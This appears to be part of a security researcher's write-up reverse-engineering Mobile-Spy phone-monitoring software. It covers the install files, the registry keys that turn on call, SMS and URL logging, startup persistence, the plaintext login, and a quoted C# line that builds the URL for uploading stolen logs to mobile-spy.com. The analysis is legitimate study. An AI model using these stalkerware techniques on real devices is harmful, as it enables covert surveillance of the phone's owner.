How Does it Work?
The software is downloaded as a CAB file that contains all the pieces/parts of the program. This file is copied over to the target device and once executed, will create folders, files, and setup registry settings.
Specifically, the CAB contains four files:
- _setup.xml: contains the install instructions for the various program components as well as the following values that setup the registry.
<characteristic type="Registry"> <characteristic type="HKCU\Software\RetinaxStudios"> <parm name="RememberUser" value="1" datatype="integer" /> <parm name="isLogPhoneCall" value="1" datatype="integer" /> <parm name="AutoLogin" value="1" datatype="integer" /> <parm name="isLogSMS" value="1" datatype="integer" /> <parm name="isLogUrl" value="1" datatype="integer" /> <parm name="Username" value="" datatype="string" /> <parm name="Password" value="" datatype="string" /> <parm name="ReportTimer" value="15" datatype="integer" /> </characteristic> </characteristic>
- Hsmsutil.002: is renamed to hsmsutil.dll. This file handles some of the SMS related actions.
- MOBILE~1.000: contains information about the CAB file.
- SMARTP~1.001: is renamed to smartphone.exe. This is the core binary of the program.
In addition to setting up the registry, creating folders, and copying over the files, the CAB file also places a shortcut in the \Windows\Startup folder to ensure the smartphone.exe binary is executed each time the device is restarted.
Once executed, the program will attempt to log into the mobile-spy.com website. In the case of a fresh install, the program will prompt the user for the authentication information needed to associate the device with a specific account.
As previously mentioned, this logon process is done via a plaintext HTTP request, as (Figure 4 illustrates:
)
Figure 4 Capture of login request
Note the results of the request. Without knowing what these values are used for, it could take a rather long time and a bit of luck to decipher the response. Fortunately, the main binary of Mobile-Spy (smartphone.exe) was developed in Microsoft's .NET C#. As a result, it is trivial to unpack the program and view the source code. There are numerous programs available that do this, one of which is Lutz Roeder's .NET Reflector (shown in (Figure 5).
)
Figure 5 Lutz Roeder's .NET Reflector
So, if we load the smartphone.exe binary up into the decompiler, you can immediately see that the core of software is contained in five "namespaces." In order for us to make sense of the captured results from the login, we need only to drill down into the MobileSpy.Network.HTTP tree to see the associated code. (Figure 6 is a screen shot of what we find:
)
Figure 6 The disassembled login code
After reviewing this code for a few minutes, it was pretty easy to see that the username & password are sent to the mobile-spy.com website where it is validated. If the authentication information is correct, a value is passed back that is placed into the strLoginID variable. This is important to note as we continue looking at how the program works.
Once logged in, the program collects data and stores it in the smartphone.log file in the \Program Files\Smartphone directory. The key part of the program that holds this functionality is in the MobileSpy.Wireless namespace. By using classes such as CallInterceptor, GPRSConnection, IInterceptor, UrlInterceptor and a few more, the program basically gets a hook into all the core communication components of the phone. This is actually quite simple to do thanks to the power of the .NET Compact Framework on which the program is built. In fact, it is a bit scary how much power the .NET Compact Framework can give a developer. For more information on this, and to see just how comprehensive this framework is, check out Microsoft.com's MSDN page listing on the SystemState Members.
As the program collects data, it needs to upload it back to the mobile-spy.com server. Again, it is relatively easy to see how this happens by reviewing the code that the decompiler produces. To summarize, the program will post the collected results to one of four pages: sms.php, calllog.php, gprslog.php, and url.php.
To do this, the program builds a dynamic URL using the following two lines of code:
string str = ("http://www.mobile-spy.com/webapi/" + contentPage + "?") + "sID=" +
this.getLoginID() + "&";
string[] strArray = _content.Split((char[]) new char[] { '\n' });
Via this request, the program sends the previously obtained LoginID along with the content of the logs to a specified website. (Figure 7 is a screen shot of a capture of this activity.
)
Figure 7 Capture of URL posting
As you can see in this example, the URL listing was sent to the server along with a date/time stamp and my ID value. At this point, the person who installed the software can login to mobile-spy.com's web server and see exactly where the target has been surfing on the phone.
In the next installment we'll look at Mobile-spy from the perspective of a security researcher to see how easy it would be to turn it into something more malicious.